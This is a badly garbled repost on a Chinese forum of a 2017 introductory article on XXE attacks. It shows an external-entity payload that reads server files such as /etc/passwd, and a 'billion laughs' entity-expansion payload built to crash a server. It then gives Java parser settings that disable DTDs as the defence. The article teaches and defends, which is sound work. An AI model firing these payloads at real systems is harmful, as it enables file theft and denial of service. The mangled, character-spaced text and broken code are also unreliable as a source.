[20877] 2017-08-27_浅谈XXE攻击

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2017-08-27_浅谈XXE攻击 X X E L e m o n S e c   2 0 1 7 - 0 8 - 2 7 f r e e b u f 0 × 0 0 .   w e b X X E ( X M L   E x t e r n a l   E n t i t y   a t t a c k ) f a c e b o o k p a y p a l   X X E X M L X X E   X M L 0 × 0 1 .   X M L X M L X M L X M L   X M L n a m e , ' s a l a r y , ' a d d r e s s   X M L X M L s y s t e m X M L D O C T Y P E 访 X M L X M L     X M L   e n t i t y e x   f i l e : / / e t c / p a s s w d X M L e n t i t y e x U R I ( f i l e : / / e t c / p a s s w d ) p a s s w d   S Y S T E M X M L e n t i t y e x U R I X M L 使 0 × 0 2 .   X M L X M L S Y S T E M X M L U R I X M L   X M L 访 f o l d e r / f i l e
0 × 0 3 .   X M L   X M L   ( 使 J S O N 访 ) H T T P C o n t e n t - T y p e X X E 0 × 0 4 .   X X E A c u n e t i x d e m o :   h t t p : / / t e s t h t m l 5 . v u l n w e b . c o m / A c u n e t i x   w e b   访   h t t p : / / t e s t h t m l 5 . v u l n w e b . c o m /     L o g i n   F o r g o t   P a s s w o r d   使 X M L X M L X M L X M L
m y e n t i t y t e s t i n g   X M L   X X E 0 × 0 5 .   X X E C o d e   1 :                           1 .   T o   r e a d   f i l e s   o n   s a m e   s e r v e r :                         < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? >                             < ! D O C T Y P E   f o o   [                             < ! E N T I T Y   m y e n t i t y   S Y S T E M   " f i l e : / / / l o c a t i o n / a n y f i l e "   > ] >                         < a b c > & m y e n t i t y ; < / a b c >                   2 .   T o   c r a s h   t h e   s e r v e r   /   C a u s e   d e n i a l   o f   s e r v i c e :      
              < ? x m l   v e r s i o n = " 1 . 0 " ? >                             < ! D O C T Y P E   l o l z   [                           < ! E N T I T Y   l o l   " l o l " >                         < ! E N T I T Y   l o l 2   " & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; & l o l ; " >                         < ! E N T I T Y   l o l 3   " & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; & l o l 2 ; " >                     < ! E N T I T Y   l o l 4   " & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; & l o l 3 ; " >                     < ! E N T I T Y   l o l 5   " & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; & l o l 4 ; " >                     < ! E N T I T Y   l o l 6   " & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; & l o l 5 ; " >                     < ! E N T I T Y   l o l 7   " & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; & l o l 6 ; " >                     < ! E N T I T Y   l o l 8   " & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; & l o l 7 ; " >
1 X X E b i l l i o n   l a u g h s ( h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / B i l l i o n _ l a u g h s )   X M L   亿 H a   D D o S   X M L X M L X M L : ,   X M L D T D ( d o c u m e n t   t y p e   d e f i n i t i o n ) S Y S T E M X M L X X E X M L 使 D T D X M L D T D J a v a f a l s e X M L D T D   f a l s e X X E                       < ! E N T I T Y   l o l 9   " & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; & l o l 8 ; " >                     ] >                             < l o l z > & l o l 9 ; < / l o l z > i m p o r t   j a v a x . x m l . p a r s e r s . D o c u m e n t B u i l d e r F a c t o r y ;                           i m p o r t   j a v a x . x m l . p a r s e r s . P a r s e r C o n f i g u r a t i o n E x c e p t i o n ;   / /   c a t c h i n g   u n s u p p o r t e d   f e a t u r e s                       . . .                     D o c u m e n t B u i l d e r F a c t o r y   d b f   =   D o c u m e n t B u i l d e r F a c t o r y . n e w I n s t a n c e ( ) ;      
              t r y   {                         / /   X e r c e s   1   -   h t t p : / / x e r c e s . a p a c h e . o r g / x e r c e s - j / f e a t u r e s . h t m l # e x t e r n a l - g e n e r a l - e n t i t i e s / /   X e r c e s   2   -   h t t p : / / x e r c e s . a p a c h e . o r g / x e r c e s 2 - j / f e a t u r e s . h t m l # e x t e r n a l - g e n e r a l - e n t i t i e s S t r i n g   F E A T U R E   =   " h t t p : / / x m l . o r g / s a x / f e a t u r e s / e x t e r n a l - g e n e r a l - e n t i t i e s " ; d b f . s e t F e a t u r e ( F E A T U R E ,   f a l s e ) ; / /   X e r c e s   1   -   h t t p : / / x e r c e s . a p a c h e . o r g / x e r c e s - j / f e a t u r e s . h t m l # e x t e r n a l - p a r a m e t e r - e n t i t i e s / /   X e r c e s   2   -   h t t p : / / x e r c e s . a p a c h e . o r g / x e r c e s 2 - j / f e a t u r e s . h t m l # e x t e r n a l - p a r a m e t e r - e n t i t i e s F E A T U R E   =   " h t t p : / / x m l . o r g / s a x / f e a t u r e s / e x t e r n a l - p a r a m e t e r - e n t i t i e s " ; d b f . s e t F e a t u r e ( F E A T U R E ,   f a l s e ) ; / /   X e r c e s   2   o n l y   -   h t t p : / / x e r c e s . a p a c h e . o r g / x e r c e s 2 - j / f e a t u r e s . h t m l # d i s a l l o w - d o c t y p e - d e c l
F E A T U R E   =   " h t t p : / / a p a c h e . o r g / x m l / f e a t u r e s / d i s a l l o w - d o c t y p e - d e c l " ; d b f . s e t F e a t u r e ( F E A T U R E ,   t r u e ) ; / /   r e m a i n i n g   p a r s e r   l o g i c . . . c a t c h   ( P a r s e r C o n f i g u r a t i o n E x c e p t i o n   e )   { / /   T h i s   s h o u l d   c a t c h   a   f a i l e d   s e t F e a t u r e   f e a t u r e l o g g e r . i n f o ( " P a r s e r C o n f i g u r a t i o n E x c e p t i o n   w a s   t h r o w n .   T h e   f e a t u r e   ' "   + F E A T U R E   + " '   i s   p r o b a b l y   n o t   s u p p o r t e d   b y   y o u r   X M L   p r o c e s s o r . " ) ; . . .
} c a t c h   ( S A X E x c e p t i o n   e )   { / /   O n   A p a c h e ,   t h i s   s h o u l d   b e   t h r o w n   w h e n   d i s a l l o w i n g   D O C T Y P E l o g g e r . w a r n i n g ( " A   D O C T Y P E   w a s   p a s s e d   i n t o   t h e   X M L   d o c u m e n t " ) ; . . . } c a t c h   ( I O E x c e p t i o n   e )   { / /   X X E   t h a t   p o i n t s   t o   a   f i l e   t h a t   d o e s n ' t   e x i s t l o g g e r . e r r o r ( " I O E x c e p t i o n   o c c u r r e d ,   X X E   m a y   s t i l l   p o s s i b l e :   "   +   e . g e t M e s s a g e ( ) ) ; . .   }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则